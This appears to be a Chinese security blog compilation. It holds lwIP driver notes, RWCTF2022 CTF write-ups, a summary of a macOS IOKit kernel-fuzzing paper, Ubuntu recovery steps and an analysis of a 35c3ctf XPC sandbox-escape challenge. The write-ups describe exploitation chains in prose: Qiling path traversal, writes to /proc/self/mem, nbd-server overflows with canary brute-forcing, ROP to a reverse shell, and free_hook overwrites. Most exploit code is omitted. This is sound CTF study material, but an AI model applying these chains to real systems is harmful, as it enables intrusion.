字段,因此当 lwIP 线程需要收发信息时,会调用该设备的 smc911x_emac_rx
、smc911x_emac_tx
这两个函数。
这里比较有意思的是结构体 _emac
的类继承关系:
1 | struct eth_device_smc911x |
这里存在一个 parent 结构体,类似于 C++ 中的继承,表示了一个具体的以太网设备。而该 eth_device
结构体源码如下:
1 | struct eth_device |
这个结构体描述了一个抽象的以太网设备接口,其中这些函数指针在 lwIP 层会被调用。
注意到最后 smc911x_emac_hw_init
函数执行了一下 eth_device_init
函数,而该函数最终会调用到 smc911x_emac_init
函数,在其中注册中断处理例程 smc911x_isr:
1 | rt_hw_interrupt_install(emac->irqno, smc911x_isr, emac, "smc911x"); |
当以太网设备有数据发出中断后,中断处理例程 smc911x_isr
被调用,如果数据准备好了,则调用 eth_device_ready
:
1 | static void smc911x_isr(int vector, void *param) |
而 eth_device_ready
函数会发送邮件给 erx 线程:
1 | rt_err_t eth_device_ready(struct eth_device* dev) |
这样,整个流程就全部出来了,正对上了最上面的那个流程图。
特别感谢呆呆师傅的 FLAG 题解技术分享。
]]>这里是复盘 RWCTF2022 关于:
这三道题时所写下的一些笔记。
受限于时间与效率,一部分题目的 exp 将不再贴出,只会记录下解题或利用的详细流程。
1 | Qiling as a Service. |
该题只给了一个这样的脚本,用于读取用户传来的文件并将其放入麒麟沙箱(rootfs 为一个临时文件夹):
1 | #!/usr/bin/env python3 |
题目要求:执行 /readflag
来获取 flag(注意不是直接读取 /flag)
1 | # 下拉麒麟框架 |
unicorn 框架是 qiling 框架的核心,qiling 还在该基础之上额外实现了很多功能,包括与 OS 的一些交互操作等等。qiling 自己实现了一系列 syscall 调用,并让沙箱程序通过这些 qiling syscall 来间接与 OS 进行交互。
但倘若这些 qiling syscall 内部存在缺陷,那么沙箱程序便可以通过这些 syscall 进行沙箱逃逸。
qiling 默认会在执行沙箱程序时,将沙箱程序内部调用的 syscall 日志输出:
这样,通过字符串搜索 + 动态调试并结合信息搜索,我们可以得出这些 syscall in posix 的实现是位于 qiling/qiling/os/posix/syscall/
文件夹下。接下来便是代码审计 + 调试了。
通过 被大佬带飞 审计与调试,我们可以发现在 ql_syscall_openat
函数中存在目录穿越漏洞。为了说明这个目录穿越,我们先简单的使用 open 函数来写个程序跑跑看看 qiling 的逻辑:
1 |
|
如上图,实际所调用的 syscall 不是 SYS_open,而是 SYS_openat。
当调用 ql_syscall_openat
时,实际进行文件打开的操作位于函数 ql.os.fs_mapper.open_ql_file
:
1 | def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int): |
继续读读 ql.os.fs_mapper.open_ql_file
函数源码。由于我们是尝试打开正常的文件,因此走下面 else
分支:
1 | def open_ql_file(self, path, openflags, openmode, dir_fd=None): |
如果不存在 dir_fd
,则调用 transform_to_real_path
函数将传入的 path 转换为真正的 path,即绝对路径。而调用 transform_to_real_path
处理 path 的调用链如下所示:
1 | convert_for_native_os, path.py:106 |
最终,qiling 会在 convert_for_native_os
函数中,过滤掉无效的目录穿越路径。
1 |
|
之后在上面的 open_ql_file
函数中,调用 ql_file.open
函数来与 OS 交互,而该函数是没有任何路径过滤的:
1 |
|
这样看来,qiling openat syscall 没法路径穿越?非也。注意到 open_ql_file
函数中的这句代码:
1 | def open_ql_file(self, path, openflags, openmode, dir_fd=None): |
因此如果我们在调用 qiling openat syscall 时传入一个恶意的目录穿透路径,那就可以进行目录穿透攻击!
动手试一试:
1 |
|
可以发现两个 SYS_openat 均执行成功,可以达到目录穿越的效果:
目录穿越后,我们便可以尝试读写任意文件。
注意到 flag 只能通过执行 /readflag
来获取,因此我们可以尝试对 /proc/self/mem
进行读写。
该文件是进程的内存内容,修改该文件等同于直接修改该进程的虚拟地址空间,我们可以试着将自己的 shellcode 放入代码段中并执行。
需要注意的是,该文件不能直接读取,需要结合 /proc/self/maps 的映射信息来确定读的偏移值。即无法读取未被映射的区域。
利用流程如下:
/proc/self/exe
,将远程机器上的 python 二进制文件 dump 到本地,获取其 GOT 表的相对偏移位置。/proc/self/maps
:这题利用较为简单,exp 鸽了。
1 | On Linux, network block device (NBD) is a network protocol that can be used to forward a block device (typically a hard disk or partition) from one machine to a second machine. As an example, a local machine can access a hard disk drive that is attached to another computer. |
查看题目提供的二进制开启的保护(好家伙,真就全开):
下拉源码编译,
1 | wget https://versaweb.dl.sourceforge.net/project/nbd/nbd/3.23/nbd-3.23.tar.gz |
调试时,如果不希望让该进程转为后台进程,则 make 时添加 flag:
make "CFLAGS += -DNODAEMON"
远程机器上会架起一个 nbd-server,很明显我们需要向这个 nbd-server 发起一个连接,并尝试在发送的 payload 中构造一些恶意的字段。
那么我们就需要尝试去审计代码(代码位于 nbd-3.23/nbd-server.c
),找到一条不受信任输入 -> 无过滤 -> 访问内存这样的一条途径。
那就首先从 accept
函数开始找起,它是整个 socket 连接的起点,通过它我们可以根据交叉引用找到处理连接的函数 handle_modern_connection
:
1 | static void |
需要注意的是,默认情况下对于每个连接,server 都会 fork 一个新的子进程来单独处理。这个特性相当重要,因为我们可以利用这个特性来爆破 canary 和 PIE。
该函数会调用 negotiate
函数,并创建结构体 CLIENT
,将新连接的 fd 赋给该 client,之后后续使用 socket_read(client, addr, len)
来从 client(即我们这边)读取数据。
1 | /** |
这样,我们可以全局搜索 socket_read
的使用并对其进行审计。该函数使用的次数不多,只有不到 20次,因此人工审计还是很快的。通过审计可以找到3个漏洞点。
注意,审计时忽略了 TLS 相关的函数,因为远程不启用 TLS 交互。
author: sakura.
顺手写了一下codeql的数据流分析,这里考虑两种简单写法,一种是将网络端序转换的函数例如htol作为source,然后socket_read
作为sink点检查size溢出。
另一种是将socket_read
的第二个参数,这个接收用户输入的地方作为source点,然后将看能否污点到binary operation或者污点到source_read
的第三个参数。
这里写了下后者的QL。
在写codeql的时候注意到QL的数据流分析其实是比较保守的,所以需要自己去连接一些边。
1 | /** |
一个整数溢出所造成的堆溢出漏洞点位于 handle_export_name
函数中:
可以造成任意长度的堆溢出。
1 | static CLIENT* handle_export_name(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) { |
该函数中有两个漏洞点,其中一个还是和上面类似的堆溢出:
还是可以造成任意长度的堆溢出。
1 | static bool handle_info(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) { |
还有一个是溢出长度不受限的栈溢出:
1 | static bool handle_info(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) { |
首先,连接远程,并手动构造恶意数据字段,触发栈溢出,爆破出 Canary 和 PIE,进而计算出$addr_{ELF-base}、addr_{GOT}、addr_{system}、addr_{gadgets}$等等。
leak 出这些后,我们需要将待执行的 cmd 传递给 system 函数。但我们发来的所有数据都存储在 heap 中,cmd 自然也不例外,因此我们还需要 leak 出堆地址。
注意到 handle_info
函数栈上存放了一个 old r12 数据,指向 client,我们可以试着爆破这个栈上数据来获取堆地址。
需要注意的是,连接远程时是使用 socket 进行通信,因此 cmd 不能是直接的
cat /flag
,必须将所执行命令的 stdout 导入到我们连接的 socket fd 上。最简单的方式就是反弹 shell至我们的主机上。
最后使用 ROP 一把梭。
这题 exploit 有点意思,所以本人试着自己动手写了下:
注意,exp 中的偏移量等使用的是自编译的 nbd-server。
由于本人根据远程的保护,在编译时对等开启了相应的保护,因此实际上编译出的 nbd-server 和远程的 binary,其内部偏移几乎无差别,因此该 exp 只需简单改改部分偏移量即可解远程 binary。
1 | #! python3 |
坑点主要在于爆破。整个 exp 中爆破是重中之重,但在低地址字节处的爆破容易产生误报,因此最好多爆破几次。需要爆破的数据主要有以下三点:
canary 爆破:错1个字节就直接 abort,这在爆破上是件好事,最容易爆破的数据。
ret address 爆破:需要手动指定最低地址的那个字节,以提高爆破精度。低地址 1 字节的值可以通过 IDA 得知(注意页对齐大小为 0x1000)。
client address 爆破:由于调用 handle_info 函数时,调用者会将 client 的地址压入栈上(old r12),因此在离开 handle_info 之前,需要执行pop r12
指令。我们可以尝试对该 r12 进行爆破,以获取到 client 地址,并根据相对偏移获取存储 system 命令的 name 内存地址。
注意点
1 | Professor Terence Parr has taught us how to build a virtual machine. Now it's time to break it! |
一个简易的开源 VM,baby 难度。
题目给了一个 libc-2.31.so 附件和 main.c :
1 |
|
执行以下命令配置环境:
1 | git clone git@github.com:parrt/simple-virtual-machine-C.git |
首先,我们可以在 #L40 看到 VM 结构体的布局:
1 | typedef struct { |
根据 main.c 的代码,可以得知创建出的 VM 结构体,其 code 字段指向栈,globals 字段指向堆。
而在 opcode LOAD 和 STORE 的处理中,我们可以看到,这里可以 相对 VM 结构体(注意结构体在堆中) 偏移任意字节进行读写。
1 | case LOAD: // load local or arg |
同时,opcode GLOAD 和 GSTORE 可以让我们相对 globals 指针所指向的内存偏移任意字节进行读写。
1 | case GLOAD: // load from global memory |
这样,我们便可以利用这些 opcode 来泄露指针并任意读写内存,进而修改 libc 上的 free hook,在 VM 退出时劫持控制流。
使用 STORE,让 VM->stack
向低地址处移动,读取 globals 和 code 的指针值,并保存 vm->call_stack 上,之后恢复 VM->stack
。
恢复时需要覆写 globals 和 code 指针,注意需要覆写正确。
使用任意地址读,读取栈上的 libc_start_main return address,计算出 libc base、free_hook 和 one_gadget addr。
使用任意地址写,修改 free_hook 上的地址条目为 one_gadget,劫持控制流获取 shell。
]]>这题利用较为简单,exp 鸽了。
内核 API 函数之间的调用大多是相互依赖的,即一些 API 的调用需要依赖其他 API 调用所产生的上下文,因此若给定的调用上下文无用,则内核 API 将会始终执行失败,无法进入到更深层次的逻辑中。
这篇论文提出了一种新的内核 fuzz 方式,它利用内核 API 函数之间的依赖(即 API 调用序列的相似性),来推断出依赖模型,进而利用该模型生成出随机并且结构性良好的 API 序列,进行更深层次的 fuzz。
其中,API 调用的依赖关系包含两种,分别是
Fuzz 的主要目标是 IOKit Lib。
IMF src - github
需要注意的是,这篇论文是 17 年的论文,实验时所使用的 MacOS 版本为 10.12.3,而本人的机器版本为 MacOS 12.0.1,因此在复现实验是会存在一些困难。
该论文所提出的 IMF 架构图如下所示:
其中, IMF 共有三部分组成,分别是
论文中给了一个 fuzz 过程的示例。通过这个示例我们可以简单了解一下整个 IMF 的处理过程。
初始时,给定一系列配置文件和 API 函数原型注释文件,其中后者存放着目标 IOKit API 的函数名称、参数类型与个数等等的信息,通常以 JSON 格式保存。
API 函数原型注释文件,主要用于生成 API hook 以及为 API 依赖关系推断。
开始时,IMF 为目标程序 2048 Game 安装 API hook,这样当目标程序调用 IOKit Lib 时,这些函数调用将会被 hook 并被记录下来。
之后模拟鼠标输入或键盘输入,为目标程序提供输入,这样目标程序就会调用 IOKit 并留下 API Log。
尝试循环执行目标程序 L=1000 次并记录下 L 个日志。
需要注意的是,本人实际复现实验时,可能是受限于 MacOS 版本问题,hook 2048 Game 无法记录下任何 IOKit Log(但是 VSCode 可以,但是日志数量较少)。
因此本人在实验时,所选定的目标程序为
/usr/sbin/ioreg
。
每一次的日志中都会记录下调用 API 时的 1) 输入参数的类型与值;2) 返回值的类型与值。
直到目前,API hook 已经记录下了 L=1000 个日志,那么接下来就需要对其进行筛选,从中筛出 log 的子集。
这里的例子中,从 L=1000 个日志里,筛选出了 N=2 个最长公共前缀的日志。
需要注意的是,由于 GUI 事件的非确定性,对于同一个 GUI 程序的相同输入,hook 可能不会生成相同的 API 调用序列。
但如果使用的目标程序是非 GUI 程序,则生成的 API log 大体相同。
首先, IMF 假设,应该保留 log 中的 API 调用顺序。但这样可能在模型中包含不必要的顺序依赖关系,导致调用之间的顺序依赖过于近似。不过在实际 fuzz 时会适当放宽这个假设。
此时能获取到的调用顺序如下,其中 $A<B$ 表示函数 A 的调用点在函数 B 的调用点之前:
$$IOServiceMatching < IOServiceGetMatchingService < IOServiceOpen < IOConnectCallMethod$$
接下来,IMF 将会从 N=2 的 log 子集中,
注意,由于先前已经给定了一个 API 函数原型注释文件,因此对于 handler 类型(即诸如
io_service_t
和io_connect_t
的参数,将不会被识别为常量。
检测数据依赖。若前一个函数调用的返回值,作为了后一个函数调用的参数值,那么可以说这两个函数调用之间存在数据依赖关系,即图中黑色虚线所标识的那样。
该论文实现了多种启发式数据依赖的检测方式,这里只是简单介绍了一种。
该图是根据上图所生成的一个 API Model,模型使用 AST 来表示:
在这个模型中,我们可以很明显的看到每个函数调用都遵循了先前所推断出的顺序依赖,以及函数之间的值依赖关系。
对于指针 outStructCnt 与 API 的关系,IMF 也可以根据先前所给定的 API 函数注释文件来获取到两者之间的内部关系,从而产生诸如第九行这样的代码。
之后 IMF 便可以根据模型来进行变异与生成。
Logger 需要处理两个问题:
首先对于第一个问题:由于论文中使用的目标程序大多是 GUI 程序,而 GUI 程序的输入大多是鼠标事件和键盘事件,因此可以使用 PyUserInput 来为目标程序模拟输入事件。
对于第二个问题:记录 log 时,需要保存多少级间接指针的数据?若级别太多,则会占用大量的磁盘空间,加大分析难度。因此在该论文的实验中,只保存了一级间接指针的数据。
在论文所提供的代码中, const.py 文件里已经事先记录了目标 IOKit API 的函数原型定义。一个简单的示例如下所示:
1 | # const.py |
之后,hook.py 文件将根据给定的 IOKit API 函数原型,结合 C 语言 hook 代码的模板,生成诸如以下 C 代码的 hook.c 文件:
1 |
|
hook.py 将会批量生成 fake_IOXXXX
函数,并填充相应的数据结构至 interposers 数组中。
当 hook.py hook.c
命令执行完毕,生成出 hook.c 文件后, 执行以下代码将生成待注入的 dylib:
1 | clang -Wall -dynamiclib -framework IOKit -framework CoreFoundation -arch x86_64 hook.c -o hook.dylib |
之后执行以下命令:
1 | DYLD_INSERT_LIBRARIES=${PWD}/hook.dylib [program path] [program args] |
这样,目标程序在使用 IOKit lib 时,对应的 IOKit 函数将会被所注入的动态链接库 hook.dylib 动态 hook,并在 /tmp/log 中记录下日志:
1 | # kern_return_t IORegistryEntryGetLocationInPlane( |
需要注意的是,对于每一个 IOKit 函数调用,API Hook 都会生成2个条目:
由于每次执行目标程序时,不同的环境下会产生不同的日志,因此 IMF 将会对生成的日志进行进一步的过滤与处理。
这里 Log Filtering 的目的是:从给定的日志集中选取N个具有最长公共前缀的日志,并收集这 N 个日志中的公共前缀,以构造出一组具有完全相同的顺序和相同数量的 API 调用序列 S。
由于调用序列 S 中在不同环境下所记录的 log 不同,一些参数会有着不同的参数值,因此这种不确定性可以用于更好的确定 API 模型。
Filtering 的操作位于 filter.py 中。
初始时,filter 会循环读入每个日志文件,并对每个日志文件中的每个 IN/OUT log 进行哈希。
1 | def loader(path): |
这里对 log 条目进行哈希时,使用的是函数名 + selector 作为输入源(merge 操作)。其中,selector 只有在函数名为 IOConnectCallXXXXMethod
时才有用到。也就是说,这里的哈希将会对相同的函数名 CallMethod 但不同的 selector 选择子区分开来。
哈希后的结果是一个数组,数组中有多个元组,每个元组里分别有两个成员,分别是单个 log 文件名,与一个存放着该 log 文件中每个条目哈希的数组:
1 | [ |
上面步骤所输出的内容,称为一个 group。接下来 filter 将会执行 categorize 函数,遍历 groups 中某个 index 所对应的 log entry hash。这样做的目的是为了进行最长公共子序列筛选。
每次筛选后,相同 idx 但不同的 hash 的 log entry 将会被单独拆开并合并至新的 group 中。
1 | def categorize(groups, idx): |
每次筛选并合并成新的 groups 后,都会尝试执行一次 pick_best 的操作,遍历每个 groups 中的 group,并获取数量大于等于 N 的 group 中的 log entry。
1 | def find_best(groups, n): |
如果可以获取,则说明筛选还没有详尽,因此 idx++,继续筛选;若无法获取,则回退返回上一次筛选的内容,并从中选择 log entry 大于等于 N 的 group,同时指定当前所分析到的 idx 长度。(注意单个 group 中会有多个 log 文件)
这样,根据上面的步骤,filter 便可以筛选并继续保存序列长度为 idx(注意这 idx 个长度的序列为公共子序列) 的多个 log 文件。
1 | def save_best(path, best_group, idx): |
论文中对于 API 的顺序依赖并没有进行特殊的处理,乐观的认为 API 函数之间的调用关系,应该会遵循筛选后的调用序列 S 中的某个相同序列。
而对于 API 的数据依赖,论文中将数据依赖的检测方式分为两步:
首先是常量识别。对于调用序列的某个函数调用,其常量参数在其他调用序列(即过滤出的 N 个调用序列)中也一定是相同的。例如下面这个例子,
1 | // 序列1 |
可以看到,对于不同序列中的第 i 个调用,其参数2的值相同,始终为 12,因此可以认为函数 A 的参数2 是一个常量值。
即,假设 $S^k_{i, j}$为第$k$个调用序列中的第$j$个函数调用里第$i$个参数,若满足 $S^1_{i, j}=S^2_{i, j}=…=S^N_{i, j}$,则说明 $S_{i,j}$ 是一个常量参数。
需要注意的是,在进行常量识别时,需要忽视掉句柄类型。因为对于这种类型的变量来说,即便值相同,但它们依然不是常量。
接下来是数据流识别。IMF 并没有识别参数与参数之间的数据流传递关系(和 syzkaller 不同),它只是简单的识别函数之间那种 函数1返回值 -> 函数2参数值 的数据流关系:
需要注意的是,为了提高精度,IMF 会取每个调用序列中每个函数的数据流依赖交集。
而 inferrer 的最终输出是一个 C 语言的代码片段,即 AST 格式。其中,inferrrer 会根据顺序依赖来生成一系列的函数调用语句。对于每个函数调用,其函数参数将会根据类型来进行不同的填充:
执行 inferrer 时,初始时,程序会先实例化 ApiFuzz 类,在该类的构造函数中执行 const.load_apis 函数,将先前准备好的 IOKit API 函数原型定义 读入内存,并以 Api 类的结构保存。单个 Api 类的结构如下所示:
1 | /* |
之后,程序会在 ApiFuzz 类的 make_model 成员函数中,以多进程方式执行 load_apilog 成员,将先前 hook 生成的 API log 读入内存。
注意到 API log 中每两个条目(即一对 IN/OUT 条目)对应的是一个 IOKit 函数调用的参数输入与函数返回,因此在 load_apilog 函数中,程序同样会以一对条目为单位读入 ApiLog 类中。每一个 ApiLog 的结构如下所示:
1 | /* |
之后,程序将所有读入的 API log 均存入 ApiFuzz 类中的 apisets 数组,并使用该数组创建 Model 类进行建模。有意思的是,在建模时,只会使用一个 log 文件。
1 | class Model: |
Model 类在初始化时,会将每个 apilog 都转换成 Mapi 类型的结构。 该结构的布局和 Api 类型有点类似:
1 | Mapi = { |
转换完成后,立即执行 check const 操作,尝试分辨出是否是常量值。若参数类型是指针类型,则程序会单独对指针所指向数组中的每一个元素进程 check const 操作;若参数是非指针类型,则对该参数的数值进行 check const 检查。
check const 检查操作相当的简单:如果第 i 个函数调用的第 j 个参数,在筛选出的 api log 中互不相同,则说明这是一个变量值。
check const 检查完成后,下一步操作是 add dataflow。
1 | def add_dataflow(self, apisets): |
初始时,add dataflow 函数声明了一个 before 字段,该字段表示过去函数调用所生成的 value 值。之后将每个 Mapi 中 Marg 的参数值加入至 Mval 类型中的 raw 数组中,最后调用 get_xxx_df 函数来更新 Mval 类中的 dataflow 字段,指定该 Mval 的数据流来源。
这样,通过多次遍历 apilog,程序可以对一些 Mval 设置其数据流的单项关系,为接下来代码生成做准备。
fuzz 的配置主要有以下几种:
实际开源的代码模板如下所示,注意到这里并没有关于超时时间的设置,这可能是因为这部分代码没有开源:
1 | void parse_args(int argc, char **argv){ |
变异策略较为简略,只有参数值变异:对其进行数据上的变异。
这些变异代码都是预先写死在 python 文件中,作为代码模板的一部分,以下是简单的代码模板示例:
1 | uint16_t mut_short(uint16_t v){ |
IMF 在 macOS 中找到了相当多的 kernel panic 样例。其中大部分是 DoS,有一些可以尝试进行利用。
对于不同类型的目标程序,其能起到 fuzz 的效果是不同的。这是因为不同类型的目标程序,所调用的 IOKit 函数侧重点也不相同。
通过该图我们可以看到,Game 类型的目标程序所产生的 Api Log,被 IMF 读入并用于 fuzz macos 所触发的 kernel panic 最多,但该程序类型却并不是触发内核覆盖率最广的类型。这也可以看到 IMF 极度依赖于执行目标程序所收集到的Api Log。
IMF 精度会受到 N 的影响。对于不同 N ,fuzz 的精度会产生一些波动:
void*
传递,IMF 无法根据该无类型指针建立显式数据流依赖关系。给 npy 安装环境时,误删了她的 ubuntu python3,导致重启 ubuntu 后无法进入图形界面,花了两个小时的时间才解决。
这里简单记录一下恢复图形界面的操作。
1 | ################# 尝试联网 ################# |
如果仍然不行,则继续执行以下命令试试:
1 | sudo apt-get install ubuntu-minimal ubuntu-standard ubuntu-desktop |
首先,设置 /etc/NetworkManager/NetworkManager.conf
中的 managed
选项为 true,由图形界面的网络管理器 NetworkManager 来接管网络连接。
注意 Network Manager 是 Desktop 版本下的网络管理器;而 /etc/network/interfaces 是 Server 版本下的网络管理器。
二者不可同时使用!
1 | [ifupdown] |
之后,备份并清空 /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf
文件,重启 Network Manager 服务。
1 | sudo mv /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf_orig |
此时 ifconfig 中将显示有线网卡,nmcli 中也会显示对应的有线网卡已连接至有线连接。可以 ping 114.114.114.114,但是无法解析任何网址。
点击 ubuntu 图形界面右上角的有线网络,手动设置 DNS 为 114.114.114.114
,之后在终端重启 Network Manager 服务后即可。
1 | sudo service network-manager restart |
pillow
,是 35c3ctf 中的一道关于 macOS bootstrap Service 沙箱逃逸题目。本人将通过学习这一题来进一步了解Mac OSX XPC 和 Sandbox 机制。
该题中包含了两个自定义 macOS 系统服务。要求攻击者劫持两个 XPC 服务之间的 IPC 连接,以达到沙箱逃逸的目的。
题目链接 : pillow - 35c3ctf github
在 MacOS 环境下:
编译(可以提前在 Makefile 中添加 -g -O0
编译标志)
1 | git clone git@github.com:saelo/35c3ctf.git |
使用 launchd 启动编译出的两个服务
首先,修改 distrib/System/Library/LaunchDaemons/
中的两个 plist, 将文件中的 Program
条目替换成两个 XPC service 编译出的路径。诸如:
1 | [...] |
之后,令 launchd 启动这两个服务
1 | sudo chown root:wheel pillow/distrib/System/Library/LaunchDaemons/*.plist |
如果要关闭服务则可以执行
1 | sudo launchctl bootout system pillow/distrib/System/Library/LaunchDaemons/*.plist |
可以通过
log show --predicate 'processID == 1' --last 1h
来查看 launchd 的输出信息。
配置执行 exploit 程序环境
题目已经说明 exploit 位于沙箱中,因此这里也模拟一下。
首先找到 exploit 所使用的沙箱配置文件,这个文件位于 pillow/exploit/exploit.sb
:
1 | (version 1) |
这里的沙箱配置只允许 fork、exec exploit 以及 mach lookup 题目所提供的三个服务。
之后使用以下命令执行 exploit
1 | # 注:传入的 EXPLOIT_BIN 路径必须为 **绝对** 路径 |
这样,一个不符合沙箱限制的操作将会被拒绝:
1 |
|
运行结果:
设置 flag 类型,使普通用户不可读(可选),这一步只是做个简单的测试,没有什么实际意义
1 | sudo chown root:wheel ./flag |
但需要注意的是,被 launchd 启动的守护进程是可以读取这个高权限 flag 的。
以下是用于验证的代码:
1 | FILE* flag = fopen("/Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag", "r"); |
日志输出:
我们首先简单看看 MIG 中的接口。
代码很短:
1 | subsystem capsd 733100; |
可以看到这里只定义了两个函数 grant_capability
和 has_capability
函数。这两个函数可以被 Client 远程调用至 Server 上的实现。
初始时,capsd 会先输出一条信息,以说明当前守护进程已经开始执行:
1 | os_log(OS_LOG_DEFAULT, "net.saelo.capsd starting"); |
但这条信息并没有那么方便读取到。我们首先得先从 launchd 的日志中获取到 capsd 的 pid 号:
1 | $ log show --predicate 'processID == 0' --last 1h | grep "capsd" |
我们可以很容易的获取到 capsd 的 pid 为 32099
,因此我们继续执行以下命令来查看该程序的 log:
1 | $ log show --predicate 'processID == 32099' --last 1h |
可以看到成功读取到 capsd 的输出。
接下来,capsd 会使用默认参数,生成一个 空的 CFDictionary 字典:
1 | capabilities_by_pid = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); |
需要注意的是,这个字典是全局变量,因此它会在其他上下文中被使用。
之后,capsd 获取 bootstrap port,并把反向 DNS 样式的名称 “net.saelo.capsd” 注册进 bootstrap 中,以备其他进程所使用:
1 | mach_port_t bootstrap_port, service_port; |
接下来这步稍微复杂了一点,它指定 capsd_server
函数来处理 service_port 中即将到来的 mach message,即将 service_port 中的事件分发到 capsd_server
中进行处理;之后开始异步执行 mach 事件分发操作:
需要注意的是这里使用
MIG
来生成其余的 mach 信息交互代码,隐藏了 Mach 通信的内部细节。
1 | dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue()); |
capsd 除了建立 mach message server 以外,它还建立了一个 XPC Service:
1 | // Set up XPC service |
这个 XPC Service 实际处理 XPC message 的方式如下所示。
根据代码描述可以得知,传入的 XPC Message 应该是一个字典类型 xpc_dictionary
,且有 action
(uint64_t)、pid
(int64_t)、operation
(string)以及 argument
(string) 四个 key 值。而返回给调用方的是一个只有 success
键值对的字典。
1 | if (xpc_get_type(msg) == XPC_TYPE_DICTIONARY) { |
handler 会根据传入的 xpc 请求来进行不同的操作:获取权限或查看当前是否有权限。
这里记录下 handler 调用的两个函数:grant_capability_internal
和 has_capability_internal
。
has_capability
和 grand_capability
函数没有在 capsd.c
中直接调用,它们是先前声明的 MIG 远程调用接口的实现。
可以看到,最终这两个函数也是调用上面刚刚提到的 *_internal
函数,因此实际上 capsd 中的 mach server 和 xpc service 最终提供给 client 的接口都是这两个接口,一模一样。
1 | kern_return_t grant_capability(mach_port_t server, audit_token_t token, pid_t target, const char* op, const char* arg) { |
该函数是两个 internal 函数的辅助函数。还记得先前提到的一个在 main 函数进行初始化的字典类型全局变量 capabilities_by_pid 么?这里将会对它进行查询或添加操作。
这个函数代码很短,先把代码贴出来:
1 | CFMutableDictionaryRef get_or_create_capabilities_for_pid(pid_t pid) { |
初始时,该函数将判断传入的 pid 所在进程是否仍然存活。如果目标进程已经死亡,则没意义再创建一个 capability 字典了。
向某个进程发送 0 号信号时,不会发送任何信号,但是会进行错误检查。
这里的 ESRCH 是 进程不存在的错误代码。如果指定 pid 不存在则 kill -0 将会返回 ESRCH。
如果存活,则判断全局字典中是否存在目标 pid 的键值对。如果存在则将其 value 引用返回给调用者,否则新建一个**(pid, capabilities)键值对**,并将其插入至全局字典中,最后返回 value 的引用。
grant_capability_internal 函数应该算是整个 capsd 的核心函数,不过代码也很短:
1 | kern_return_t grant_capability_internal(audit_token_t token, pid_t target, const char* op, const char* arg) { |
在这里,我们已经可以理清所有使用到的数据结构:
Server 接收到的 XPC 消息结构
1 | { |
Server 返回的信息结构
1 | { |
全局字典 capabilities_by_pid
结构:
1 | { |
不过这不是重点。注意到 sandbox_check_by_audit_token
函数的第一个参数 token 是由 grant_capability_internal 函数传入的:
1 | kern_return_t grant_capability_internal(audit_token_t token, pid_t target, const char* op, const char* arg) { |
而 grant_capability_internal 函数的第一个参数,是直接与信息发送方挂钩:
1 | audit_token_t creds; |
因此,传入 grant_capability_internal 函数的 pid,只是起到了一个键的作用,真正用于判断 sandbox 的则是 audit token。正常情况下消息发送者的 pid 理应和发送请求中的 pid 相同(即发送者应该发送自己的 PID 给 service)。
最后再说明一下sandbox_check_by_audit_token
函数,这个函数几乎没有任何说明文档可供查阅:
作用:检查某些操作是否允许在沙箱返回内执行,如果允许则返回 0,即 DECISION_ALLOW
。
函数定义:
1 | extern int SANDBOX_CHECK_NO_REPORT; |
函数参数:
SANDBOX_CHECK_NO_REPORT
,这表示以静默方式检查沙箱权限,不输出任何信息operation 指向一个 沙箱权限规则字符串(类似scheme的语言,因此 scheme 语法很有用),我们可以在 OSX Sandbox Rule Set 中获得更多有用的沙箱权限规则描述示例。
var_args
参数中的内容与 operation
相关,例如:1 | // mach-lookup com.apple.... |
client 执行的操作很简单,此处略过说明:
1 | int main(int argc, const char *argv[]) { |
运行效果:
综合上面的代码,我们可以了解到,capsd 对 mach IPC 和 XPC 都提供了两个接口 grand_capability
和 has_capability
。
其中, grand_capability
函数会判断消息发送方请求的沙箱权限是否被允许,如果是,则将其添加进全局字典中。
grand 操作就指的是将请求的 op 和 args 添加进全局字典的这个操作,而并非实际分配了一个新权限。
若下一次有请求判断某个 pid 是否有特定的沙箱权限时(has_capability
),capsd 只会检查全局字典中是否有先前所保存的 op 和 args,并根据检查结果返回。
接下来我们再看看 shelld。
这里定义了4个接口,分别是 shelld_create_session
、 shell_exec
、register_completion_listener
和 unregister_completion_listener
。接口具体用法后面再说,干看 defs 也看不出来。
1 | subsystem shelld 133700; |
定义了接口 shelld_client_notify
,目测可能是 Server 用于通知 Client 的。
1 | subsystem shelld_client 133800; |
main 函数做了以下几件事情:
sessions
。/private/tmp/shelld
。1 | int main(int argc, const char *argv[]) { |
该函数的作用比较简单,初始时将 sessions 全局字典中找出符合 session_name 和 client 的字典,并将传入的 listener 的 mach port 存入进去。
1 | kern_return_t register_completion_listener(mach_port_t server, const char* session_name, mach_port_t listener, audit_token_t client) { |
此时可以暂时确定 sessions 字典的结构为:
1 | { |
其行为与 register_completion_listener
相反,将 listener mach port 从 sessions 中移出。
1 | kern_return_t unregister_completion_listener(mach_port_t server, const char* session_name, audit_token_t client) { |
该函数主要是在全局字典 sessions 中创建一些结构体,具体的操作以注释的形式写入代码中:
1 | kern_return_t shelld_create_session(mach_port_t server, const char* session_name, audit_token_t client) { |
接下来的这个函数可谓是重头戏,需要好好说明一下。
初始时,shelld 会判断传入的 command 是否为空。这里的 command 将被接下来所创建的子进程所使用,使用效果为 system(command)
,因此 command 不能为空。
1 | if (!command || strlen(command) == 0) |
接下来,判断信息发送者是否有权限执行 /bin/bash
,因为子进程会调用 /bin/bash。
1 | // 判断传入的 creds 是否有权限执行 /bin/bash |
其中的 sandbox_check_with_capabilities
函数的操作如下:
1 | int sandbox_check_with_capabilities(audit_token_t creds, const char* operation, int flags, const char* arg) { |
之后,获取传入 session name 和 creds 所对应的 session,并创建一对管道。这对管道将用于重定向子进程的 stdout
1 | // 获取当前 creds 所对应的 session |
接下来便是创建子进程,我们看看子进程做了什么工作:
1 | // 创建新进程 |
可以看到,子进程先是切换了自己当前的工作目录,之后主动进入沙箱、重定向 stdout,并最终执行 bash 程序。
调用 sandbox_init
